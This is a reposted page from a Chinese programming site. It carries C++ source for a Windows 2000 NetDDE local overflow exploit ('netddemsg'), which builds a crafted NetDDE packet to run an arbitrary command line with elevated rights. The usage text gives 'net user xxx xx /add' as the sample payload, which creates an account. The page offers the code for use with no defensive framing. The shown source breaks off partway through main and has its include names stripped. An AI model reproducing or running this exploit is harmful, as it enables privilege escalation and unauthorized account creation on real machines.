w2k本地溢出netddemsg源码

类别:VC语言 点击:0 评论:0 推荐:
// netddemsg.cpp : Defines the entry point for the application. // To link include library nddeapi.lib #include #include #include #include char mess[300]; void OutPutString(char *str) { printf("%s\r\n",str); } void NDDEError(UINT err) { char error[256]; NDdeGetErrorString(err,error,256); OutPutString(error); // exit(err); } void *BuildNetDDEPacket(const char *svShareName, const char* svCmdLine, int *pBufLen) { // Build NetDDE message int cmdlinelen=strlen(svCmdLine); int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1; char *funky=(char *)malloc(funkylen); if(funky==NULL) { OutPutString("Out of memory."); return NULL; } // 0xDDE1DDE1(magic number) 0x00000001 (?) 0x00000001 (?) // ShareModId unused (?) char magic[0x20]="\xE1\xDD\xE1\xDD\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x09\x00\x00\x00\x01\xCC\xCC\xCC\xCC\x0"; memcpy(funky, magic, 0x18); memcpy(funky+0x18,svShareName,strlen(svShareName)+1); // Share name memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1); // Command line to execute *pBufLen=funkylen; return funky; } void Usage(char *file) { _snprintf(mess, 300, "Syntax is: %s [-s sharename] \r\n", file); OutPutString(mess); _snprintf(mess, 300, "\t if the command line contain BLANK, use \" \" to include it,\r\n \t for ex: %s \"net user xxx xx /add\"\r\n", file); OutPutString(mess); OutPutString("\t /? or NO parameter show this."); exit(0); } int main(int argc, char *argv[]) { // Check command line int cmdlinelen; if(argc

本文地址:http://com.8s8s.com/it/it3250.htm